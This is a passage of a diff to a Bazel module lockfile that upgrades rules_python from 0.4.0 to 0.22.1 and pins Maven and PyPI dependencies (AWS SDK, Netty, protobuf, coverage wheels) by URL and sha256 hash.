"659a185e191d66c71de81209490e66abeaccae208ea7b2831a738670823447aa", + "urls": [ + "https://repo1.maven.org/maven2/software/amazon/awssdk/arns/2.17.183/arns-2.17.183.jar", + "https://maven.google.com/software/amazon/awssdk/arns/2.17.183/arns-2.17.183.jar" + ], + "downloaded_file_path": "v1/https/repo1.maven.org/maven2/software/amazon/awssdk/arns/2.17.183/arns-2.17.183.jar" + } + }, + "com_google_code_gson_gson_2_9_0": { + "bzlFile": "@@bazel_tools//tools/build_defs/repo:http.bzl", + "ruleClassName": "http_file", + "attributes": { + "name": "rules_jvm_external~4.4.2~maven~com_google_code_gson_gson_2_9_0", + "sha256": "c96d60551331a196dac54b745aa642cd078ef89b6f267146b705f2c2cbef052d", + "urls": [ + "https://repo1.maven.org/maven2/com/google/code/gson/gson/2.9.0/gson-2.9.0.jar", + "https://maven.google.com/com/google/code/gson/gson/2.9.0/gson-2.9.0.jar" + ], + "downloaded_file_path": "v1/https/repo1.maven.org/maven2/com/google/code/gson/gson/2.9.0/gson-2.9.0.jar" + } + }, + "io_netty_netty_buffer_4_1_72_Final": { + "bzlFile": "@@bazel_tools//tools/build_defs/repo:http.bzl", + "ruleClassName": "http_file", + "attributes": { + "name": "rules_jvm_external~4.4.2~maven~io_netty_netty_buffer_4_1_72_Final", + "sha256": "568ff7cd9d8e2284ec980730c88924f686642929f8f219a74518b4e64755f3a1", + "urls": [ + "https://repo1.maven.org/maven2/io/netty/netty-buffer/4.1.72.Final/netty-buffer-4.1.72.Final.jar", + "https://maven.google.com/io/netty/netty-buffer/4.1.72.Final/netty-buffer-4.1.72.Final.jar" + ], + "downloaded_file_path": "v1/https/repo1.maven.org/maven2/io/netty/netty-buffer/4.1.72.Final/netty-buffer-4.1.72.Final.jar" + } + }, + "com_google_code_findbugs_jsr305_3_0_2": { + "bzlFile": "@@bazel_tools//tools/build_defs/repo:http.bzl", + "ruleClassName": "http_file", + "attributes": { + "name": "rules_jvm_external~4.4.2~maven~com_google_code_findbugs_jsr305_3_0_2", + "sha256": "766ad2a0783f2687962c8ad74ceecc38a28b9f72a2d085ee438b7813e928d0c7", + "urls": [ + "https://repo1.maven.org/maven2/com/google/code/findbugs/jsr305/3.0.2/jsr305-3.0.2.jar", + "https://maven.google.com/com/google/code/findbugs/jsr305/3.0.2/jsr305-3.0.2.jar" + ], + "downloaded_file_path": "v1/https/repo1.maven.org/maven2/com/google/code/findbugs/jsr305/3.0.2/jsr305-3.0.2.jar" + } + }, + "commons_codec_commons_codec_1_11": { + "bzlFile": "@@bazel_tools//tools/build_defs/repo:http.bzl", + "ruleClassName": "http_file", + "attributes": { + "name": "rules_jvm_external~4.4.2~maven~commons_codec_commons_codec_1_11", + "sha256": "e599d5318e97aa48f42136a2927e6dfa4e8881dff0e6c8e3109ddbbff51d7b7d", + "urls": [ + "https://repo1.maven.org/maven2/commons-codec/commons-codec/1.11/commons-codec-1.11.jar", + "https://maven.google.com/commons-codec/commons-codec/1.11/commons-codec-1.11.jar" + ], + "downloaded_file_path": "v1/https/repo1.maven.org/maven2/commons-codec/commons-codec/1.11/commons-codec-1.11.jar" + } + }, + "software_amazon_awssdk_auth_2_17_183": { + "bzlFile": "@@bazel_tools//tools/build_defs/repo:http.bzl", + "ruleClassName": "http_file", + "attributes": { + "name": "rules_jvm_external~4.4.2~maven~software_amazon_awssdk_auth_2_17_183", + "sha256": "8820c6636e5c14efc29399fb5565ce50212b0c1f4ed720a025a2c402d54e0978", + "urls": [ + "https://repo1.maven.org/maven2/software/amazon/awssdk/auth/2.17.183/auth-2.17.183.jar", + "https://maven.google.com/software/amazon/awssdk/auth/2.17.183/auth-2.17.183.jar" + ], + "downloaded_file_path": "v1/https/repo1.maven.org/maven2/software/amazon/awssdk/auth/2.17.183/auth-2.17.183.jar" + } + }, + "software_amazon_awssdk_json_utils_2_17_183": { + "bzlFile": "@@bazel_tools//tools/build_defs/repo:http.bzl", + "ruleClassName": "http_file", + "attributes": { + "name": "rules_jvm_external~4.4.2~maven~software_amazon_awssdk_json_utils_2_17_183", + "sha256": "51ab7f550adc06afcb49f5270cdf690f1bfaaee243abaa5d978095e2a1e4e1a5", + "urls": [ + "https://repo1.maven.org/maven2/software/amazon/awssdk/json-utils/2.17.183/json-utils-2.17.183.jar", + "https://maven.google.com/software/amazon/awssdk/json-utils/2.17.183/json-utils-2.17.183.jar" + ], + "downloaded_file_path": "v1/https/repo1.maven.org/maven2/software/amazon/awssdk/json-utils/2.17.183/json-utils-2.17.183.jar" + } + }, + "org_codehaus_plexus_plexus_utils_3_3_1": { + "bzlFile": "@@bazel_tools//tools/build_defs/repo:http.bzl", + "ruleClassName": "http_file", + "attributes": { + "name": "rules_jvm_external~4.4.2~maven~org_codehaus_plexus_plexus_utils_3_3_1", + "sha256": "4b570fcdbe5a894f249d2eb9b929358a9c88c3e548d227a80010461930222f2a", + "urls": [ + "https://repo1.maven.org/maven2/org/codehaus/plexus/plexus-utils/3.3.1/plexus-utils-3.3.1.jar", + "https://maven.google.com/org/codehaus/plexus/plexus-utils/3.3.1/plexus-utils-3.3.1.jar" + ], + "downloaded_file_path": "v1/https/repo1.maven.org/maven2/org/codehaus/plexus/plexus-utils/3.3.1/plexus-utils-3.3.1.jar" + } + }, + "com_google_protobuf_protobuf_java_util_3_13_0": { + "bzlFile": "@@bazel_tools//tools/build_defs/repo:http.bzl", + "ruleClassName": "http_file", + "attributes": { + "name": "rules_jvm_external~4.4.2~maven~com_google_protobuf_protobuf_java_util_3_13_0", + "sha256": "d9de66b8c9445905dfa7064f6d5213d47ce88a20d34e21d83c4a94a229e14e62", + "urls": [ + "https://repo1.maven.org/maven2/com/google/protobuf/protobuf-java-util/3.13.0/protobuf-java-util-3.13.0.jar", + "https://maven.google.com/com/google/protobuf/protobuf-java-util/3.13.0/protobuf-java-util-3.13.0.jar" + ], + "downloaded_file_path": "v1/https/repo1.maven.org/maven2/com/google/protobuf/protobuf-java-util/3.13.0/protobuf-java-util-3.13.0.jar" + } + }, + "io_netty_netty_codec_4_1_72_Final": { + "bzlFile": "@@bazel_tools//tools/build_defs/repo:http.bzl", + "ruleClassName": "http_file", + "attributes": { + "name": "rules_jvm_external~4.4.2~maven~io_netty_netty_codec_4_1_72_Final", + "sha256": "5d8591ca271a1e9c224e8de3873aa9936acb581ee0db514e7dc18523df36d16c", + "urls": [ + "https://repo1.maven.org/maven2/io/netty/netty-codec/4.1.72.Final/netty-codec-4.1.72.Final.jar", + "https://maven.google.com/io/netty/netty-codec/4.1.72.Final/netty-codec-4.1.72.Final.jar" + ], + "downloaded_file_path": "v1/https/repo1.maven.org/maven2/io/netty/netty-codec/4.1.72.Final/netty-codec-4.1.72.Final.jar" + } + }, + "com_google_protobuf_protobuf_java_3_13_0": { + "bzlFile": "@@bazel_tools//tools/build_defs/repo:http.bzl", + "ruleClassName": "http_file", + "attributes": { + "name": "rules_jvm_external~4.4.2~maven~com_google_protobuf_protobuf_java_3_13_0", + "sha256": "97d5b2758408690c0dc276238707492a0b6a4d71206311b6c442cdc26c5973ff", + "urls": [ + "https://repo1.maven.org/maven2/com/google/protobuf/protobuf-java/3.13.0/protobuf-java-3.13.0.jar", + "https://maven.google.com/com/google/protobuf/protobuf-java/3.13.0/protobuf-java-3.13.0.jar" + ], + "downloaded_file_path": "v1/https/repo1.maven.org/maven2/com/google/protobuf/protobuf-java/3.13.0/protobuf-java-3.13.0.jar" + } + }, + "io_netty_netty_tcnative_classes_2_0_46_Final": { + "bzlFile": "@@bazel_tools//tools/build_defs/repo:http.bzl", + "ruleClassName": "http_file", + "attributes": { + "name": "rules_jvm_external~4.4.2~maven~io_netty_netty_tcnative_classes_2_0_46_Final", + "sha256": "d3ec888dcc4ac7915bf88b417c5e04fd354f4311032a748a6882df09347eed9a", + "urls": [ + "https://repo1.maven.org/maven2/io/netty/netty-tcnative-classes/2.0.46.Final/netty-tcnative-classes-2.0.46.Final.jar", + "https://maven.google.com/io/netty/netty-tcnative-classes/2.0.46.Final/netty-tcnative-classes-2.0.46.Final.jar" + ], + "downloaded_file_path": "v1/https/repo1.maven.org/maven2/io/netty/netty-tcnative-classes/2.0.46.Final/netty-tcnative-classes-2.0.46.Final.jar" + } + }, + "software_amazon_awssdk_sdk_core_2_17_183": { + "bzlFile": "@@bazel_tools//tools/build_defs/repo:http.bzl", + "ruleClassName": "http_file", + "attributes": { + "name": "rules_jvm_external~4.4.2~maven~software_amazon_awssdk_sdk_core_2_17_183", + "sha256": "677e9cc90fdd82c1f40f97b99cb115b13ad6c3f58beeeab1c061af6954d64c77", + "urls": [ + "https://repo1.maven.org/maven2/software/amazon/awssdk/sdk-core/2.17.183/sdk-core-2.17.183.jar", + "https://maven.google.com/software/amazon/awssdk/sdk-core/2.17.183/sdk-core-2.17.183.jar" + ], + "downloaded_file_path": "v1/https/repo1.maven.org/maven2/software/amazon/awssdk/sdk-core/2.17.183/sdk-core-2.17.183.jar" + } + } + }, + "recordedRepoMappingEntries": [ + [ + "rules_jvm_external~4.4.2", + "bazel_tools", + "bazel_tools" + ], + [ + "rules_jvm_external~4.4.2", + "rules_jvm_external", + "rules_jvm_external~4.4.2" + ] + ] + } + }, + "@@rules_jvm_external~4.4.2//:non-module-deps.bzl%non_module_deps": { + "general": { + "bzlTransitiveDigest": "Td87llNSs5GZ/kAxu6pAqfEXBZ3HdkSqRmUzvIfbFWg=", + "accumulatedFileDigests": {}, + "envVariables": {}, + "generatedRepoSpecs": { + "io_bazel_rules_kotlin": { + "bzlFile": "@@bazel_tools//tools/build_defs/repo:http.bzl", + "ruleClassName": "http_archive", + "attributes": { + "name": "rules_jvm_external~4.4.2~non_module_deps~io_bazel_rules_kotlin", + "sha256": "946747acdbeae799b085d12b240ec346f775ac65236dfcf18aa0cd7300f6de78", + "urls": [ + "https://github.com/bazelbuild/rules_kotlin/releases/download/v1.7.0-RC-2/rules_kotlin_release.tgz" + ] + } + } + }, + "recordedRepoMappingEntries": [ + [ + "rules_jvm_external~4.4.2", + "bazel_tools", + "bazel_tools" + ] + ] + } + }, + "@@rules_python~0.22.1//python/extensions:python.bzl%python": { + "general": { + "bzlTransitiveDigest": "NGtTMUqs2EEJeXu6mXdpmYRrQGZiJV7S3mxeod3Hm7M=", "accumulatedFileDigests": {}, "envVariables": {}, "generatedRepoSpecs": { - "pypi__pkginfo": { + "pythons_hub": { + "bzlFile": "@@rules_python~0.22.1//python/extensions/private:interpreter_hub.bzl", + "ruleClassName": "hub_repo", + "attributes": { + "name": "rules_python~0.22.1~python~pythons_hub", + "toolchains": [] + } + } + }, + "recordedRepoMappingEntries": [ + [ + "rules_python~0.22.1", + "bazel_tools", + "bazel_tools" + ], + [ + "rules_python~0.22.1", + "rules_python", + "rules_python~0.22.1" + ] + ] + } + }, + "@@rules_python~0.22.1//python/extensions/private:internal_deps.bzl%internal_deps": { + "general": { + "bzlTransitiveDigest": "5c1tkdV6L67SQOZWc9MUoS5ZnsSxeDKsh9urs01jZSM=", + "accumulatedFileDigests": {}, + "envVariables": {}, + "generatedRepoSpecs": { + "pypi__coverage_cp39_aarch64-apple-darwin": { + "bzlFile": "@@bazel_tools//tools/build_defs/repo:http.bzl", + "ruleClassName": "http_archive", + "attributes": { + "name": "rules_python~0.22.1~internal_deps~pypi__coverage_cp39_aarch64-apple-darwin", + "build_file_content": "\nfilegroup(\n name = \"coverage\",\n srcs = [\"coverage/__main__.py\"],\n data = glob([\"coverage/*.py\", \"coverage/**/*.py\", \"coverage/*.so\"]),\n visibility = [\"//visibility:public\"],\n)\n ", + "patch_args": [ + "-p1" + ], + "patches": [ + "@@rules_python~0.22.1//python/private:coverage.patch" + ], + "sha256": "95203854f974e07af96358c0b261f1048d8e1083f2de9b1c565e1be4a3a48cfc", + "type": "zip", + "urls": [ + "https://files.pythonhosted.org/packages/63/e9/f23e8664ec4032d7802a1cf920853196bcbdce7b56408e3efe1b2da08f3c/coverage-6.5.0-cp39-cp39-macosx_11_0_arm64.whl" + ] + } + }, + "pypi__coverage_cp38_aarch64-unknown-linux-gnu": { + "bzlFile": "@@bazel_tools//tools/build_defs/repo:http.bzl", + "ruleClassName": "http_archive", + "attributes": { + "name": "rules_python~0.22.1~internal_deps~pypi__coverage_cp38_aarch64-unknown-linux-gnu", + "build_file_content": "\nfilegroup(\n name = \"coverage\",\n srcs = [\"coverage/__main__.py\"],\n data = glob([\"coverage/*.py\", \"coverage/**/*.py\", \"coverage/*.so\"]),\n visibility = [\"//visibility:public\"],\n)\n ", + "patch_args": [ + "-p1" + ], + "patches": [ + "@@rules_python~0.22.1//python/private:coverage.patch" + ], + "sha256": "6c4459b3de97b75e3bd6b7d4b7f0db13f17f504f3d13e2a7c623786289dd670e", + "type": "zip", + "urls": [ + "https://files.pythonhosted.org/packages/40/3b/cd68cb278c4966df00158811ec1e357b9a7d132790c240fc65da57e10013/coverage-6.5.0-cp38-cp38-manylinux_2_17_aarch64.manylinux2014_aarch64.whl" + ] + } + }, + "pypi__pip_tools": { + "bzlFile": "@@bazel_tools//tools/build_defs/repo:http.bzl", + "ruleClassName": "http_archive", + "attributes": { + "name": "rules_python~0.22.1~internal_deps~pypi__pip_tools", + "url": "https://files.pythonhosted.org/packages/5e/e8/f6d7d1847c7351048da870417724ace5c4506e816b38db02f4d7c675c189/pip_tools-6.12.1-py3-none-any.whl", + "sha256": "f0c0c0ec57b58250afce458e2e6058b1f30a4263db895b7d72fd6311bf1dc6f7", + "type": "zip", + "build_file_content": "package(default_visibility = [\"//visibility:public\"])\n\nload(\"@rules_python//python:defs.bzl\", \"py_library\")\n\npy_library(\n name = \"lib\",\n srcs = glob([\"**/*.py\"]),\n data = glob([\"**/*\"], exclude=[\n # These entries include those put into user-installed dependencies by\n # data_exclude in /python/pip_install/tools/bazel.py\n # to avoid non-determinism following pip install's behavior.\n \"**/*.py\",\n \"**/*.pyc\",\n \"**/* *\",\n \"**/*.dist-info/RECORD\",\n \"BUILD\",\n \"WORKSPACE\",\n ]),\n # This makes this directory a top-level in the python import\n # search path for anything that depends on this.\n imports = [\".\"],\n)\n" + } + }, + "pypi__coverage_cp310_x86_64-unknown-linux-gnu": { + "bzlFile": "@@bazel_tools//tools/build_defs/repo:http.bzl", + "ruleClassName": "http_archive", + "attributes": { + "name": "rules_python~0.22.1~internal_deps~pypi__coverage_cp310_x86_64-unknown-linux-gnu", + "build_file_content": "\nfilegroup(\n name = \"coverage\",\n srcs = [\"coverage/__main__.py\"],\n data = glob([\"coverage/*.py\", \"coverage/**/*.py\", \"coverage/*.so\"]),\n visibility = [\"//visibility:public\"],\n)\n ", + "patch_args": [ + "-p1" + ], + "patches": [ + "@@rules_python~0.22.1//python/private:coverage.patch" + ], + "sha256": "af4fffaffc4067232253715065e30c5a7ec6faac36f8fc8d6f64263b15f74db0", + "type": "zip", + "urls": [ + "https://files.pythonhosted.org/packages/3c/7d/d5211ea782b193ab8064b06dc0cc042cf1a4ca9c93a530071459172c550f/coverage-6.5.0-cp310-cp310-manylinux_2_5_x86_64.manylinux1_x86_64.manylinux_2_17_x86_64.manylinux2014_x86_64.whl" + ] + } + }, + "pypi__coverage_cp311_x86_64-apple-darwin": { + "bzlFile": "@@bazel_tools//tools/build_defs/repo:http.bzl", + "ruleClassName": "http_archive", + "attributes": { + "name": "rules_python~0.22.1~internal_deps~pypi__coverage_cp311_x86_64-apple-darwin", + "build_file_content": "\nfilegroup(\n name = \"coverage\",\n srcs = [\"coverage/__main__.py\"],\n data = glob([\"coverage/*.py\", \"coverage/**/*.py\", \"coverage/*.so\"]),\n visibility = [\"//visibility:public\"],\n)\n ", + "patch_args": [ + "-p1" + ], + "patches": [ + "@@rules_python~0.22.1//python/private:coverage.patch" + ], + "sha256": "4a5375e28c5191ac38cca59b38edd33ef4cc914732c916f2929029b4bfb50795", + "type": "zip", + "urls": [ + "https://files.pythonhosted.org/packages/50/cf/455930004231fa87efe8be06d13512f34e070ddfee8b8bf5a050cdc47ab3/coverage-6.5.0-cp311-cp311-macosx_10_9_x86_64.whl" + ] + } + }, + "pypi__coverage_cp310_aarch64-unknown-linux-gnu": { + "bzlFile": "@@bazel_tools//tools/build_defs/repo:http.bzl", + "ruleClassName": "http_archive", + "attributes": { + "name": "rules_python~0.22.1~internal_deps~pypi__coverage_cp310_aarch64-unknown-linux-gnu", + "build_file_content": "\nfilegroup(\n name = \"coverage\",\n srcs = [\"coverage/__main__.py\"],\n data = glob([\"coverage/*.py\", \"coverage/**/*.py\", \"coverage/*.so\"]),\n visibility = [\"//visibility:public\"],\n)\n ", + "patch_args": [ + "-p1" + ], + "patches": [ + "@@rules_python~0.22.1//python/private:coverage.patch" + ], + "sha256": "b4a5be1748d538a710f87542f22c2cad22f80545a847ad91ce45e77417293eb4", + "type": "zip", + "urls": [ + "https://files.pythonhosted.org/packages/15/b0/3639d84ee8a900da0cf6450ab46e22517e4688b6cec0ba8ab6f8166103a2/coverage-6.5.0-cp310-cp310-manylinux_2_17_aarch64.manylinux2014_aarch64.whl" + ] + } + }, + "pypi__coverage_cp39_aarch64-unknown-linux-gnu": { + "bzlFile": "@@bazel_tools//tools/build_defs/repo:http.bzl", + "ruleClassName": "http_archive", + "attributes": { + "name": "rules_python~0.22.1~internal_deps~pypi__coverage_cp39_aarch64-unknown-linux-gnu", + "build_file_content": "\nfilegroup(\n name = \"coverage\",\n srcs = [\"coverage/__main__.py\"],\n data = glob([\"coverage/*.py\", \"coverage/**/*.py\", \"coverage/*.so\"]),\n visibility = [\"//visibility:public\"],\n)\n ", + "patch_args": [ + "-p1" + ], + "patches": [ + "@@rules_python~0.22.1//python/private:coverage.patch" + ], + "sha256": "b9023e237f4c02ff739581ef35969c3739445fb059b060ca51771e69101efffe", + "type": "zip", + "urls": [ + "https://files.pythonhosted.org/packages/18/95/27f80dcd8273171b781a19d109aeaed7f13d78ef6d1e2f7134a5826fd1b4/coverage-6.5.0-cp39-cp39-manylinux_2_17_aarch64.manylinux2014_aarch64.whl" + ] + } + }, + "pypi__coverage_cp310_aarch64-apple-darwin": { + "bzlFile": "@@bazel_tools//tools/build_defs/repo:http.bzl", + "ruleClassName": "http_archive", + "attributes": { + "name": "rules_python~0.22.1~internal_deps~pypi__coverage_cp310_aarch64-apple-darwin", + "build_file_content": "\nfilegroup(\n name = \"coverage\",\n srcs = [\"coverage/__main__.py\"],\n data = glob([\"coverage/*.py\", \"coverage/**/*.py\", \"coverage/*.so\"]),\n visibility = [\"//visibility:public\"],\n)\n ", + "patch_args": [ + "-p1" + ], + "patches": [ + "@@rules_python~0.22.1//python/private:coverage.patch" + ], + "sha256": "784f53ebc9f3fd0e2a3f6a78b2be1bd1f5575d7863e10c6e12504f240fd06660", + "type": "zip", + "urls": [ + "https://files.pythonhosted.org/packages/89/a2/cbf599e50bb4be416e0408c4cf523c354c51d7da39935461a9687e039481/coverage-6.5.0-cp310-cp310-macosx_11_0_arm64.whl" + ] + } + }, + "pypi__pip": { + "bzlFile": "@@bazel_tools//tools/build_defs/repo:http.bzl", + "ruleClassName": "http_archive", + "attributes": { + "name": "rules_python~0.22.1~internal_deps~pypi__pip", + "url": "https://files.pythonhosted.org/packages/09/bd/2410905c76ee14c62baf69e3f4aa780226c1bbfc9485731ad018e35b0cb5/pip-22.3.1-py3-none-any.whl", + "sha256": "908c78e6bc29b676ede1c4d57981d490cb892eb45cd8c214ab6298125119e077", + "type": "zip", + "build_file_content": "package(default_visibility = [\"//visibility:public\"])\n\nload(\"@rules_python//python:defs.bzl\", \"py_library\")\n\npy_library(\n name = \"lib\",\n srcs = glob([\"**/*.py\"]),\n data = glob([\"**/*\"], exclude=[\n # These entries include those put into user-installed dependencies by\n # data_exclude in /python/pip_install/tools/bazel.py\n # to avoid non-determinism following pip install's behavior.\n \"**/*.py\",\n \"**/*.pyc\",\n \"**/* *\",\n \"**/*.dist-info/RECORD\",\n \"BUILD\",\n \"WORKSPACE\",\n ]),\n # This makes this directory a top-level in the python import\n # search path for anything that depends on this.\n imports = [\".\"],\n)\n" + } + }, + "pypi__coverage_cp38_x86_64-apple-darwin": { + "bzlFile": "@@bazel_tools//tools/build_defs/repo:http.bzl", + "ruleClassName": "http_archive", + "attributes": { + "name": "rules_python~0.22.1~internal_deps~pypi__coverage_cp38_x86_64-apple-darwin", + "build_file_content": "\nfilegroup(\n name = \"coverage\",\n srcs = [\"coverage/__main__.py\"],\n data = glob([\"coverage/*.py\", \"coverage/**/*.py\", \"coverage/*.so\"]),\n visibility = [\"//visibility:public\"],\n)\n ", + "patch_args": [ + "-p1" + ], + "patches": [ + "@@rules_python~0.22.1//python/private:coverage.patch" + ], + "sha256": "d900bb429fdfd7f511f868cedd03a6bbb142f3f9118c09b99ef8dc9bf9643c3c", + "type": "zip", + "urls": [ + "https://files.pythonhosted.org/packages/05/63/a789b462075395d34f8152229dccf92b25ca73eac05b3f6cd75fa5017095/coverage-6.5.0-cp38-cp38-macosx_10_9_x86_64.whl" + ] + } + }, + "pypi__coverage_cp311_x86_64-unknown-linux-gnu": { "bzlFile": "@@bazel_tools//tools/build_defs/repo:http.bzl", "ruleClassName": "http_archive", "attributes": { - "name": "rules_python~0.4.0~pip_install~pypi__pkginfo", - "url": "https://files.pythonhosted.org/packages/77/83/1ef010f7c4563e218854809c0dff9548de65ebec930921dedf6ee5981f27/pkginfo-1.7.1-py2.py3-none-any.whl", - "sha256": "37ecd857b47e5f55949c41ed061eb51a0bee97a87c969219d144c0e023982779", + "name": "rules_python~0.22.1~internal_deps~pypi__coverage_cp311_x86_64-unknown-linux-gnu", + "build_file_content": "\nfilegroup(\n name = \"coverage\",\n srcs = [\"coverage/__main__.py\"],\n data = glob([\"coverage/*.py\", \"coverage/**/*.py\", \"coverage/*.so\"]),\n visibility = [\"//visibility:public\"],\n)\n ", + "patch_args": [ + "-p1" + ], + "patches": [ + "@@rules_python~0.22.1//python/private:coverage.patch" + ], + "sha256": "a8fb6cf131ac4070c9c5a3e21de0f7dc5a0fbe8bc77c9456ced896c12fcdad91", "type": "zip", - "build_file_content": "package(default_visibility = [\"//visibility:public\"])\n\nload(\"@rules_python//python:defs.bzl\", \"py_library\")\n\npy_library(\n name = \"lib\",\n srcs = glob([\"**/*.py\"]),\n data = glob([\"**/*\"], exclude=[\"**/*.py\", \"**/* *\", \"BUILD\", \"WORKSPACE\"]),\n # This makes this directory a top-level in the python import\n # search path for anything that depends on this.\n imports = [\".\"],\n)\n" + "urls": [ + "https://files.pythonhosted.org/packages/6a/63/8e82513b7e4a1b8d887b4e85c1c2b6c9b754a581b187c0b084f3330ac479/coverage-6.5.0-cp311-cp311-manylinux_2_5_x86_64.manylinux1_x86_64.manylinux_2_17_x86_64.manylinux2014_x86_64.whl" + ] + } + }, + "pypi__tomli": { + "bzlFile": "@@bazel_tools//tools/build_defs/repo:http.bzl", + "ruleClassName": "http_archive", + "attributes": { + "name": "rules_python~0.22.1~internal_deps~pypi__tomli", + "url": "https://files.pythonhosted.org/packages/97/75/10a9ebee3fd790d20926a90a2547f0bf78f371b2f13aa822c759680ca7b9/tomli-2.0.1-py3-none-any.whl", + "sha256": "939de3e7a6161af0c887ef91b7d41a53e7c5a1ca976325f429cb46ea9bc30ecc", + "type": "zip", + "build_file_content": "package(default_visibility = [\"//visibility:public\"])\n\nload(\"@rules_python//python:defs.bzl\", \"py_library\")\n\npy_library(\n name = \"lib\",\n srcs = glob([\"**/*.py\"]),\n data = glob([\"**/*\"], exclude=[\n # These entries include those put into user-installed dependencies by\n # data_exclude in /python/pip_install/tools/bazel.py\n # to avoid non-determinism following pip install's behavior.\n \"**/*.py\",\n \"**/*.pyc\",\n \"**/* *\",\n \"**/*.dist-info/RECORD\",\n \"BUILD\",\n \"WORKSPACE\",\n ]),\n # This makes this directory a top-level in the python import\n # search path for anything that depends on this.\n imports = [\".\"],\n)\n" + } + }, + "pypi__coverage_cp39_x86_64-apple-darwin": { + "bzlFile": "@@bazel_tools//tools/build_defs/repo:http.bzl", + "ruleClassName": "http_archive", + "attributes": { + "name": "rules_python~0.22.1~internal_deps~pypi__coverage_cp39_x86_64-apple-darwin", + "build_file_content": "\nfilegroup(\n name = \"coverage\",\n srcs = [\"coverage/__main__.py\"],\n data = glob([\"coverage/*.py\", \"coverage/**/*.py\", \"coverage/*.so\"]),\n visibility = [\"//visibility:public\"],\n)\n ", + "patch_args": [ + "-p1" + ], + "patches": [ + "@@rules_python~0.22.1//python/private:coverage.patch" + ], + "sha256": "633713d70ad6bfc49b34ead4060531658dc6dfc9b3eb7d8a716d5873377ab745", + "type": "zip", + "urls": [ + "https://files.pythonhosted.org/packages/ea/52/c08080405329326a7ff16c0dfdb4feefaa8edd7446413df67386fe1bbfe0/coverage-6.5.0-cp39-cp39-macosx_10_9_x86_64.whl" + ] } }, "pypi__wheel": { "bzlFile": "@@bazel_tools//tools/build_defs/repo:http.bzl", "ruleClassName": "http_archive", "attributes": { - "name": "rules_python~0.4.0~pip_install~pypi__wheel", - "url": "https://files.pythonhosted.org/packages/65/63/39d04c74222770ed1589c0eaba06c05891801219272420b40311cd60c880/wheel-0.36.2-py2.py3-none-any.whl", - "sha256": "78b5b185f0e5763c26ca1e324373aadd49182ca90e825f7853f4b2509215dc0e", + "name": "rules_python~0.22.1~internal_deps~pypi__wheel", + "url": "https://files.pythonhosted.org/packages/bd/7c/d38a0b30ce22fc26ed7dbc087c6d00851fb3395e9d0dac40bec1f905030c/wheel-0.38.4-py3-none-any.whl", + "sha256": "b60533f3f5d530e971d6737ca6d58681ee434818fab630c83a734bb10c083ce8", + "type": "zip", + "build_file_content": "package(default_visibility = [\"//visibility:public\"])\n\nload(\"@rules_python//python:defs.bzl\", \"py_library\")\n\npy_library(\n name = \"lib\",\n srcs = glob([\"**/*.py\"]),\n data = glob([\"**/*\"], exclude=[\n # These entries include those put into user-installed dependencies by\n # data_exclude in /python/pip_install/tools/bazel.py\n # to avoid non-determinism following pip install's behavior.\n \"**/*.py\",\n \"**/*.pyc\",\n \"**/* *\",\n \"**/*.dist-info/RECORD\",\n \"BUILD\",\n \"WORKSPACE\",\n ]),\n # This makes this directory a top-level in the python import\n # search path for anything that depends on this.\n imports = [\".\"],\n)\n" + } + }, + "pypi__coverage_cp311_aarch64-unknown-linux-gnu": { + "bzlFile": "@@bazel_tools//tools/build_defs/repo:http.bzl", + "ruleClassName": "http_archive", + "attributes": { + "name": "rules_python~0.22.1~internal_deps~pypi__coverage_cp311_aarch64-unknown-linux-gnu", + "build_file_content": "\nfilegroup(\n name = \"coverage\",\n srcs = [\"coverage/__main__.py\"],\n data = glob([\"coverage/*.py\", \"coverage/**/*.py\", \"coverage/*.so\"]),\n visibility = [\"//visibility:public\"],\n)\n ", + "patch_args": [ + "-p1" + ], + "patches": [ + "@@rules_python~0.22.1//python/private:coverage.patch" + ], + "sha256": "c4ed2820d919351f4167e52425e096af41bfabacb1857186c1ea32ff9983ed75", "type": "zip", - "build_file_content": "package(default_visibility = [\"//visibility:public\"])\n\nload(\"@rules_python//python:defs.bzl\", \"py_library\")\n\npy_library(\n name = \"lib\",\n srcs = glob([\"**/*.py\"]),\n data = glob([\"**/*\"], exclude=[\"**/*.py\", \"**/* *\", \"BUILD\", \"WORKSPACE\"]),\n # This makes this directory a top-level in the python import\n # search path for anything that depends on this.\n imports = [\".\"],\n)\n" + "urls": [ + "https://files.pythonhosted.org/packages/36/f3/5cbd79cf4cd059c80b59104aca33b8d05af4ad5bf5b1547645ecee716378/coverage-6.5.0-cp311-cp311-manylinux_2_17_aarch64.manylinux2014_aarch64.whl" + ] } }, "pypi__click": { "bzlFile": "@@bazel_tools//tools/build_defs/repo:http.bzl", "ruleClassName": "http_archive", "attributes": { - "name": "rules_python~0.4.0~pip_install~pypi__click", + "name": "rules_python~0.22.1~internal_deps~pypi__click", "url": "https://files.pythonhosted.org/packages/76/0a/b6c5f311e32aeb3b406e03c079ade51e905ea630fc19d1262a46249c1c86/click-8.0.1-py3-none-any.whl", "sha256": "fba402a4a47334742d782209a7c79bc448911afe1149d07bdabdf480b3e2f4b6", "type": "zip", - "build_file_content": "package(default_visibility = [\"//visibility:public\"])\n\nload(\"@rules_python//python:defs.bzl\", \"py_library\")\n\npy_library(\n name = \"lib\",\n srcs = glob([\"**/*.py\"]),\n data = glob([\"**/*\"], exclude=[\"**/*.py\", \"**/* *\", \"BUILD\", \"WORKSPACE\"]),\n # This makes this directory a top-level in the python import\n # search path for anything that depends on this.\n imports = [\".\"],\n)\n" + "build_file_content": "package(default_visibility = [\"//visibility:public\"])\n\nload(\"@rules_python//python:defs.bzl\", \"py_library\")\n\npy_library(\n name = \"lib\",\n srcs = glob([\"**/*.py\"]),\n data = glob([\"**/*\"], exclude=[\n # These entries include those put into user-installed dependencies by\n # data_exclude in /python/pip_install/tools/bazel.py\n # to avoid non-determinism following pip install's behavior.\n \"**/*.py\",\n \"**/*.pyc\",\n \"**/* *\",\n \"**/*.dist-info/RECORD\",\n \"BUILD\",\n \"WORKSPACE\",\n ]),\n # This makes this directory a top-level in the python import\n # search path for anything that depends on this.\n imports = [\".\"],\n)\n" } }, - "pypi__pip": { + "pypi__coverage_cp39_x86_64-unknown-linux-gnu": { "bzlFile": "@@bazel_tools//tools/build_defs/repo:http.bzl", "ruleClassName": "http_archive", "attributes": { - "name": "rules_python~0.4.0~pip_install~pypi__pip", - "url": "https://files.pythonhosted.org/packages/47/ca/f0d790b6e18b3a6f3bd5e80c2ee4edbb5807286c21cdd0862ca933f751dd/pip-21.1.3-py3-none-any.whl", - "sha256": "78cb760711fedc073246543801c84dc5377affead832e103ad0211f99303a204", + "name": "rules_python~0.22.1~internal_deps~pypi__coverage_cp39_x86_64-unknown-linux-gnu", + "build_file_content": 